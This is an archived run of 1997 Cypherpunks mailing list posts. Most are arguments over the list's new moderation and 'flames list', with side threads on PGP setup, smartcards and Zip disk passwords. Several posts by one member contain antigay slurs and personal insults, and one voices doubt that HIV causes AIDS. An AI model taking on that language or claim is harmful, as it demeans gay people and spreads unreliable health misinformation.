>posts 'sorted' into the 'flames list' is now a 'known flamer', as
>evidenced by the fact that their post has been designated a 'flame'
>on a list run by a champion of free speech on the electronic
>frontier.

Intresting....

Does a single flame make a flamer??

I have in the past been involved in heated arguments on just about every
list/newsgroup I have been involved in. :)

I think this goes back to the topic of reputation capital. IMHO the occational message
that get's droped into the 'flames list' would have little effect on ones reputation.
While a complete ban all of ones posting or even a majority of ones posts making it to the
'flames list' could/would have a detrimtal
effect.

Hmmmm... Actually there could be an intresting side affect of a moderated list to a
posters reputation. Lets take the following example:

John Doe likes posting rants & flames 90% of the time. The other 10% of the
time he posts intelegent messages. Now on an un-moderated list a majority of
subscribers would get tierd of his rants, write him off as a kook and kill-file him. His
10% of intelegent posts would be lost in the 90% of noise and his
reputation would be adversly effected within the group.

Now on a moderated list the 90% of rants & flames would never be seen by the
list only the other 10%. His would wind up having a much higher reputation
among the group compaired to if all his posts were seen. 

I am not quite sure how to judge this effect. Should one take into account
the kooky behavior of a poster when veiwing his 'non kooky' posts? Does
moderation have a detrimental effect to establishing a reputation based system for a group
(how would Don Woods reputation faired if his rant's on OTP's
& ISP had been filtered out?)


>  It is obvious that some of the more intuitively intelligent list
>members are aware of this, as is indicated by the nervous fear with
>which they 'explain why' their post is crypto-relevant.

IMHO this is sheepish though I have noticed it before moderation started.

If I have somthing to post to the list I see no reason to justify why I am
posting it. This post I am making now has zero crypto-relevance and I make
no appoligies for it. Do I think it is relevant to the list? Yes otherwise
I would not have posted it. Either way no explination for the post is needed.



- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: See the Future; See OS/2.  Be the Future; Run OS/2.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMunqw49Co1n+aLhhAQEhUQQAikxVlOQuCQuNq2DoZgIhj85RvfaEOkvO
6QqoecASeunSyvh5gtXH+p6n3kq6i/NLAUwcmPYUtkdpKdPaRk4/OkhTVGNuVEHM
eEQroUNNJ02g+42Gz9vEm2ZtWxWC9zAdIbmY/Hnw6SUyW/jgJKWNadd8Nh2HQYxV
CXMUpweNbdg=
=8pqg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 25 Jan 1997 05:42:38 -0800 (PST)
To: Hugh Daniel <cypherpunks@toad.com
Subject: Re: Scandinavian Goverments provide PGP to postal customers...
Message-ID: <3.0.32.19970125053419.006c8b54@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 06:29 PM 1/24/97 -0800, Hugh Daniel wrote:
>  FYI:
>>From: jsp@betz.biostr.washington.edu
[...]
>>    However, some hardware is required. Because the key is on a
>>    smartcard, users must have smartcard readers installed on their
>>    computers, which aren't yet widely available. But Pdr Andler of
>>    Finnish Hewlett Packard says that later this year, smartcard readers
>>    will become standard on computers in Scandinavia.
[...]

Interesting piece of trivia: I recently talked with a fellow from Intel. They are looking to purchase keyboards with smartcard readers built in. They hope to get them at $30/piece from suppliers in Asia. The lot size? 10 million.

That's a lot of smartcard readers. Even for Intel.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 25 Jan 1997 05:42:40 -0800 (PST)
To: tekmasta@global.california.com
Subject: Re: your mail
Message-ID: <3.0.32.19970125053810.006c4a7c@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 06:54 PM 1/24/97 -0800, tekmasta@global.california.com wrote:
>can anyone help me out with getting pgp working... I just got 2.6.2
>excutable the freeware one and its for dos... I need to get one that works
>with eudora or netscape.... please help!

You want PGPMail. A free, full strength, beta is available at http://www.pgp.com/

PGPMail offers single click integration with Eudora. I use it myself.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 04:37:01 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <854185258.62147.0@fatmans.demon.co.uk>
Message-ID: <32EA17E4.6E23@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk wrote:
> 
> John Gilmore is free to appoint
> whoever he wants to moderate his list, he is free to censor all
> messages which criticise him and his censorship, however, subscribers
> to the list should be told they are being censored on these grounds
> and not on some facade of "crypto relevancy" or another thin veil
> drawn weakly over content based censorship to protect a certain class
> of list members.

  It became rather glaringly obvious after moderation was announced
that class structure would be the defining feature of moderation.
  Those who felt themselves to be in the 'upper class' made no
bones about it.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 04:35:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypher-Oops!
Message-ID: <32EA1A85.48D4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


I was just wondering if the CypherPunks list is now the only list
that has an Administrative introduction for list members that could
not be posted in full to the list-proper, as it contains a flame
against an individual.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 04:42:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701251011.CAA23843@toad.com>
Message-ID: <aP731D20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

> > I would like to start a thread to discuss the moderation and rejection
> > policy.
>
> No doubt we all would but such threads may, without recourse to proper
> moderation, all be thrown into cypherpunks-flames if Sandy believes
> they will be critical of him. (prove me wrong Sandy, send this to the
> moderated list).

Nope - Sandy tossed Paul's article to cypherpunks-flames, just like he
tossed a recent article pointing out that he's lying outright about his
moderation policies.

> > My perfectly crypto-relevant article regarding possible attacks
> > on human relationships with the use of forged mail and anonymous
> > remailers, has been tossed out (sorted) into cypherpunks-flames
> > mailing list.
>
> I don`t think I read the article (even though I subscribe to the
> unmoderated list), can you forward me a copy.
> As I understand it though, from other comentaries, it was junked
> because it was in response to a message by Dimitri who, given that it
> is Sandy that is moderating the list, is no doubt filtered by
> different criteria than anyone else on the list, in my opinion a
> censorous and fascist restraint as Dimitri has recently been posting
> more crypto relevant material, besides which whatever the content of
> his posts they should be open to review before a decision is made on
> if they are to be junked or not.

Has Paul reversed his previous pro-censorship stand and decided to
learn something about crypto from people who actually know some?

> > Sandy also states rather plainly that crypto-relevance is not the
> > criterion by which he moderates this list. I question this policy.
>
> Yes Sandy, please enlighten us, what is the criterion you use to
> moderate the list if not crypto-relevancy. I suspect an element of
> self preservation and protection of the list fuhrer and diktat maker
> John Gilmore (who, until the disgraceful incident with Dimitri
> commanded some respect on this list).

I used to respect Gilmore until this series of incidents (unsubscribing
me, turning list moderated).  Now I only have disdain for him.

> > I would like to hear your opinions as to whether such policies satisfy
> > the current readership.
>
> I don`t think this is the point, John Gilmore is free to appoint
> whoever he wants to moderate his list, he is free to censor all
> messages which criticise him and his censorship, however, subscribers
> to the list should be told they are being censored on these grounds
> and not on some facade of "crypto relevancy" or another thin veil
> drawn weakly over content based censorship to protect a certain class
> of list members.

Quite a few people have expressed interest in re-creating an unmoderated
cypherpunks list at another site if Gilmore decided to stick to his
"moderation experiment".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 04:40:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: testing email from airport kiosk
In-Reply-To: <3.0.1.32.19970124172459.005ade48@popd.ix.netcom.com>
Message-ID: <L2731D22w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> An update on the SF airport kiosk email machines:
...
> It does support anonymous email, in that you can type in
> any email address you want, and it doesn't seem to mind.
> In addition to limited web, telnet,  and outgoing email,
> it lets you retrieve email with POP3.  Doesn't seem to be a way
> to get it to run a program, though :-)

My immediate guess would be that everyone using it gets videotaped,
then all activity is logged, and that the LEAs are waiting for some
idiot to use it to retrieve kiddie porn and/or terrorist bobm-making
instructions.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 05:00:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks maiing list
In-Reply-To: <199701250508.FAA01408@mailhub.amaranth.com>
Message-ID: <1X831D24w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:
> >  It is obvious that some of the more intuitively intelligent list
> >members are aware of this, as is indicated by the nervous fear with
> >which they 'explain why' their post is crypto-relevant.
>
> IMHO this is sheepish though I have noticed it before moderation started.
>
> If I have somthing to post to the list I see no reason to justify why I am
> posting it. This post I am making now has zero crypto-relevance and I make
> no appoligies for it. Do I think it is relevant to the list? Yes otherwise
> I would not have posted it. Either way no explination for the post is needed.

Sandy is irrelevant.  Why should we care if he tosses an article
to cyphepunks-flames or to the censored list?  Just subscribe to
cypherpunks-unedited and ignore Sandy.  If Gilmore persists in his
disgraceful behavior, create an unmoderated list elsewhere.

I think a lot of intelligent people have been wasting too much time
and energy analyzing the behavior of a twit who simply doesn't
deserve the attention his moderation effort has been getting.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 05:20:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypher-Oops!
In-Reply-To: <32EA1A85.48D4@sk.sympatico.ca>
Message-ID: <VB931D25w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> I was just wondering if the CypherPunks list is now the only list
> that has an Administrative introduction for list members that could
> not be posted in full to the list-proper, as it contains a flame
> against an individual.

The admin blurb flames L.Detweiller, a noted cryptographer hated by
J.Gilmore and T.May because he exposed their lies and hypocricy.
Flames directed at "non-persons" are allowed on the censored mailing
list. Responses from the victims of the slander, any any critical
discussion of the moderation policy are tossed to cypherpunks-flames.

If you don't like it, start your own unmoderated list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 25 Jan 1997 08:25:45 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: TEST--FLAMES
Message-ID: <Pine.SUN.3.91.970125081004.7885O-100000@crl4.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

We are still working out the bugs.  This message is SUPPOSED to
go only to the unedited list and the flames list.  If it shows up
on the moderated list, we have a bug.  I'd like to have a couple
of you (Bill Stewart?  Lucky Green?) let me know so we can trace
down the problem and get it corrected.

Thanks,


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 05:30:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
In-Reply-To: <199701250958.BAA23620@toad.com>
Message-ID: <0D031D28w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Duncan Frissell <frissell@panix.com> writes:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> At 06:11 PM 1/24/97 -0600, Jim Choate wrote:
> >
> >Forwarded message:
> >
> >> Date: Fri, 24 Jan 97 21:33:41 +0000
> >> From: "Attila T. Hun" <attila@primenet.com>
> >> Subject: Re: Homo/bi/sexuals Most Destructive
> >
> >Much drivel about AIDS deleted.
> >
> >>         One of the saddest commentaries on the entire problem is the
> >>     man, a Pan-American flight steward, who was identified as carrier
> >>     #1 by the Communicable Disease Center (CDC) in Atlanta; he died
> >
> >The correct term is 'Patient 0'.
>
> Also he was an Air Canada steward.

I said we shouldn't waste time analyzing the moderator twit's irrelevant
actions, but I do want to point out how amusing this is: Sandy sends all
the rebuttals of "homophobic" posts to the censored list, while junking
the "homophobic" posts themselves.  Of course, none of this homosexual
garbage is crypto-relevant, but it was submitted by the "right people".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 25 Jan 1997 08:25:47 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: TEST--MODERATED
Message-ID: <Pine.SUN.3.91.970125081551.7885P-100000@crl4.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

We are still working out the bugs.  This message is SUPPOSED to
go only to the unedited list and the moderated list.  If it shows 
up on the flames list, we have a bug.  I'd like to have a couple
of you (Toto?  Dale Thorn?) let me know so we can trace down the 
problem and get it corrected.

Thanks,


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wiseleo@juno.com (Leonid S Knyshov)
Date: Sat, 25 Jan 1997 09:12:40 -0800 (PST)
To: tekmasta@global.california.com
Subject: Re: your mail
In-Reply-To: <199701250958.BAA23623@toad.com>
Message-ID: <19970125.090725.11470.1.wiseleo@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



>try my site too http://gcwp.com/fadedimage
>
>can anyone help me out with getting pgp working... I just got 2.6.2
>excutable the freeware one and its for dos... I need to get one that 
>works
>with eudora or netscape.... please help!

Well the obvious answer is to RTFM (Note: F is for fine) on DOS version,
its quite big. Also you seem to need Win PGP shell of some sort so that
you won't have to type those commands, i memorised my commands on the
3rd day of usage so no big deal about shells.

And then you cat'n'paste the code into your e-mail.

In some cases you can set it up as a spell checker ;)

Later.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wiseleo@juno.com (Leonid S Knyshov)
Date: Sat, 25 Jan 1997 09:12:44 -0800 (PST)
To: jer+@andrew.cmu.edu
Subject: Re: Encrypting ZIP disks
In-Reply-To: <199701250958.BAA23622@toad.com>
Message-ID: <19970125.090725.11470.2.wiseleo@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


>"David E. Smith" <dsmith@prairienet.org> writes:
>> 7.  Secure sensitive files.
>>      To keep sensitive or confidential information safe, store it
>>      on a Zip disk and use your Zip Tools software to assign a
>>      password that must be used in order to read from or write to
>>      the disk.  At work, you can protect sensitive information
>>      such as personnel files, company directories, and product
>>      plans and designs.  At home, you can secure personal
>>      information such as tax records, budgets, and computerized
>>      checkbooks.
>
>FWIW (not much), Iomega claims that it can't recover the data on a
>password-protected disk. However, they do export those things, so I
>doubt it's strong.

Well, I think one way to find out is to create 2 identical zip disks and
encrypt them with different passwords. Then do sector by sector compare
and see where the beast is hiding at :)

Leo.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 25 Jan 1997 09:18:20 -0800 (PST)
To: Hugh Daniel <hugh@ecotone.toad.com>
Subject: Re: Scandinavian Goverments provide PGP to postal customers...
Message-ID: <3.0.1.32.19970125090712.01bef148@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>>    However, some hardware is required. Because the key is on a
>>    smartcard, users must have smartcard readers installed on their
>>    computers, which aren't yet widely available. But Pdr Andler of
>>    Finnish Hewlett Packard says that later this year, smartcard readers
>>    will become standard on computers in Scandinavia. "It is a really
>>    big help for users, who don't have to remember dozens of
>>    passwords when using different kind of services," Andler says.

Didn't HP have a GAKed smartcard they were pushing?  I wonder if anyone is
going to make assurances that no one is spliting the keys with the soundman...


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMuo9reQCP3v30CeZAQFl+gf+JXHoo2WAenGiHQuEFQcaxiAZ6SPQJE/K
PSBUqgksy+tcvcr8JsLGkkIDZLrJ9B0LaVp2wbbZY2j6YtcsGCgBW0WLXeXbKJve
e0L8epy1GHWPO3d8peiI4InnZaXWM815+TSI2aUDX+NBLMNIkX6/k4muwQtW6KAo
ysApcbxBWeyARWklyL3pCQyYRulPhtiPjlQ3g8dFVjx3PUhOmdTuK7rjCNo502MO
quXS07kkUFYhn53Mej4r90NZ88awdCKjytsDcIYVTZxY8sBanZ4Qux0OYGvwqfyr
fY2Hfd4GFBw/6FPLHn2IWD9AH5O7TudPOC4SAiLTymBGDct8vtBBUg==
=fF/v
-----END PGP SIGNATURE-----

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: satan_is_a_hacker@juno.com (Lou Zer)
Date: Sat, 25 Jan 1997 06:14:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [No Subject:]
In-Reply-To: <199701251011.CAA23842@toad.com>
Message-ID: <19970125.091136.3254.4.SATAN_is_a_HACKER@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 25 Jan 1997 00:30:57 -0800 Bill Stewart <stewarts@ix.netcom.com>
writes:
>Hi!  It's useful to include a subject line in email so people
>can decide whether to read it and have more context for it,
>though calling yourself "fuck you" will probably deter a few people.
>There are lots of anarchists on the net; you can run into some good
>discussions on Usenet on several newsgroups with "anarchy" or 
>"anarchism"
>in the titles.  Rec.caves has good underground material......

You missed the hole point. You read that BECAUSE their was no header, if
it was ANARCHY you would have just deleted it.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 06:40:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <s0B41D29w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> paul@fatmans.demon.co.uk wrote:
> >
> > John Gilmore is free to appoint
> > whoever he wants to moderate his list, he is free to censor all
> > messages which criticise him and his censorship, however, subscribers
> > to the list should be told they are being censored on these grounds
> > and not on some facade of "crypto relevancy" or another thin veil
> > drawn weakly over content based censorship to protect a certain class
> > of list members.
>
>   It became rather glaringly obvious after moderation was announced
> that class structure would be the defining feature of moderation.
>   Those who felt themselves to be in the 'upper class' made no
> bones about it.

That's a very insightful obeservation. "Cypher punks" are not opposed to
the system. They don't want to change the existing social order. They
want to join the upper class and enjoy its privileges (such as privacy
and anonymity). They don't want to extend these privileges to the "hoi
polloi" (unwashed masses). Jim Bell is a boor, but he had some very
interesting ideas that upset the "cypher punk" crowd because he advocates
dismantling the system they hope to join one day. This reminds me of
a U.S. populist politician from the 1930's whose name I forgot, who
advocated expropriating individual wealth above $5M. Why did his
disenfranchised supporters want to leave the rich with $5M? Because each
one hoped one day to have the $5M.

Here's the $64K question: if you were approached by a LEA and offered
a huge consulting fee to help break a code to obtain evidence in a
criminal case, would you do it? I suspect most "cypher punks" would
agree both for the money and for the glory, but no one would ask them
because very few people on this list can break codes. :-)

[No I would not, irrespective of the fee and the nature of the case.]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 06:40:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
In-Reply-To: <199701250957.BAA23606@toad.com>
Message-ID: <cBc41D30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@einstein.ssz.com> writes:
>
> Forwarded message:
>
> > From satan_is_a_hacker@juno.com Fri Jan 24 22:06:53 1997
> > Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
> > Date: Fri, 24 Jan 1997 22:57:52 EST
> >
> > YOU ARE BOTH WRONG   THE CORRECT TERM IS INDEX CASE
>
> > >The correct term is 'Patient 0'.
>
> You are welcome to contact the CDC in Georgia and correct their terminology.
> I am shure they would appreciate it.
>
> http://www.cdc.gov/
>
> Their webpage search capability is temporarily down so you might have to
> talk to a real person,
>
> Center for Disease Control and Prevention
> 1600 Clifton Rd., NE.
> Atlanta, GA  30333
> 404-639-3311
>
>                                                    Jim Choate
>                                                    CyberTects
>                                                    ravage@ssz.com

I ask the moderator to explain why all these "breeder-bashing" flames
are posted to the censored list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 06:40:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PSS_sst
In-Reply-To: <199701251010.CAA23794@toad.com>
Message-ID: <ycc41D31w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

>
>
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)

This is another example of Sandy's odd-ball moderation policy.

Bill Stewart mistakenly cc:d the whole cypherpunks when he requested
a document from jya's 'bot.  Because Bill Stewart is part of the "in"
crowd, his submission was distributed to the censored list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 06:50:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: overview.htm
In-Reply-To: <199701250957.BAA23609@toad.com>
Message-ID: <FPc41D32w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@einstein.ssz.com> writes:

>
>
>      _________________________________________________________________
>
>                              OVERVIEW OF HIV/AIDS
>
>
>      _________________________________________________________________
>
>    Some important facts about the evidence that HIV causes AIDS are:
>
>      * Tests for HIV antibody in persons with AIDS show that they are
>        infected with the virus.
>
>
>
>      * HIV has been isolated from persons with AIDS and grown in pure
>        culture.
>
>
>
>      * Studies of blood transfusion recipients before 1985 documented the
>        transmission of HIV to previously uninfected persons who
>        subsequently developed AIDS.
>
>
>
>    Before the discovery of human immunodeficiency virus (HIV), the virus
>    that causes AIDS, epidemiologic studies of AIDS patients' sex partners
>    and AIDS cases occurring in blood transfusion recipients before 1985
>    clearly showed that the underlying cause of AIDS was an infectious
>    agent. Infection with HIV has been the only common factor shared by
>    persons with AIDS throughout the world, including homosexual men,
>    transfusion recipients, persons with hemophilia, sex partners of
>    infected persons, children born to infected women, and health care
>    workers who were infected with HIV while on the job, mainly by being
>    stuck with a needle used on an HIV-infected patient.
>
>
>
>    Although we know that HIV is the cause of AIDS, much remains to be
>    known about exactly how HIV causes the immune system to break down.
>    Scientists are constantly discovering more information about HIV and
>    AIDS. These discoveries help people learn how to stop transmission of
>    the virus and help people infected with HIV to live longer, healthier
>    lives. One important question to answer is why some people exposed to
>    HIV become infected and others do not. Scientists believe it is most
>    likely because of how infectious the other person is and how they are
>    exposed. For example, more than 90 percent of persons who were exposed
>    through an HIV-infected unit of blood became infected. So we know that
>    blood-to-blood contact is a very efficient way that HIV is spread. On
>    the other hand, many health care workers are splashed with blood or
>    bloody body fluids and this type of exposure has caused very few
>    occurrences of HIV infection. Researchers know how HIV is spread and
>    the ways that people can help protect themselves from being exposed to
>    HIV.
>
>
>
>    If you have questions about HIV infection and AIDS, please call the
>    CDC National AIDS Hotline at the tollfree number, 1-800-342-2437. If
>    you wish to write to CDC regarding this subject, please write to the
>    CDC National AIDS Clearinghouse, Post Office Box 6003, Rockville,
>    Maryland, 20849-6003.
>
>
>      _________________________________________________________________
>
>         Back to HIV/AIDS Information Return to HIV/AIDS Information
>
>         Back to DHAP home page GO BACK TO DHAP HOME PAGE
>
>         (with graphics)
>         (text only)
>
>
>
>
>
>
>      _________________________________________________________________
>
>
>     Last Updated: June 13, 1996
>     Updated By: Technical Information Activity
>     email: hivmail@cidhiv1.em.cdc.gov
>


Why are the homos forwarding the web pages to the mailing list, and why
does the moderator post every piece of "breeder-bashing" trash to the
censored list, while rejecting whatever he deems "homophobic"?

[For the record, I have serious doubts whether the HIV virus causes AIDS.]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 06:50:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [No Subject:]
In-Reply-To: <19970125.091136.3254.4.SATAN_is_a_HACKER@juno.com>
Message-ID: <NZc41D33w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


satan_is_a_hacker@juno.com (Lou Zer) writes:

>
> On Sat, 25 Jan 1997 00:30:57 -0800 Bill Stewart <stewarts@ix.netcom.com>
> writes:
> >Hi!  It's useful to include a subject line in email so people
> >can decide whether to read it and have more context for it,
> >though calling yourself "fuck you" will probably deter a few people.
> >There are lots of anarchists on the net; you can run into some good
> >discussions on Usenet on several newsgroups with "anarchy" or
> >"anarchism"
> >in the titles.  Rec.caves has good underground material......
>
> You missed the hole point. You read that BECAUSE their was no header, if
> it was ANARCHY you would have just deleted it.

A logical conclusion is that rather than specifying no subject header,
you must specify one that's most likely to get the readers to read it,
not necessarily related to the contents. I suggest the subject
                         $$$ MANE.MONEY.FAST $$$
unless you do write about John Gilmore's PGP MLM scam.

P.S. Is the "hole point" another nickname for Sandy's orifice?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 10:20:03 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <3.0.1.32.19970124212455.005ade48@popd.ix.netcom.com>
Message-ID: <32EA4EA8.7894@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> At 07:38 PM 1/23/97 -0600, Jim Choate wrote:
> One of the points of the Ebonics program is to recognize that
> other people don't always speak the same way you do, and that
> if you want to communicate with them, you'll be more successful
> if you realize it, understand when they're talking in their dialect,

I could agree with "some of the points" of the Ebonics program were
it not for the fact of the hidden points.  Unbeknownst to most folks,
supporting a program on any erstwhile points will give support to the
program on *all* points.

One specific example:

When I worked for Firestone corporate from 1970 to 1981, we were
bullied into giving to the United Fund. (BTW, I learned how much
my boss was making by reading the punches on the IBM cards.) The one
bone they tossed us was we could specify which worthy causes our
personal contribution would go towards.  The trick was, if a certain
greater-than-expected number of people specified a Catholic charity,
for example, more funds would then be moved into the other charities
to balance that out.  Presumably those funds would come from those
folks who hadn't declared a designee.

In my view, once the contributors' specific designations were made,
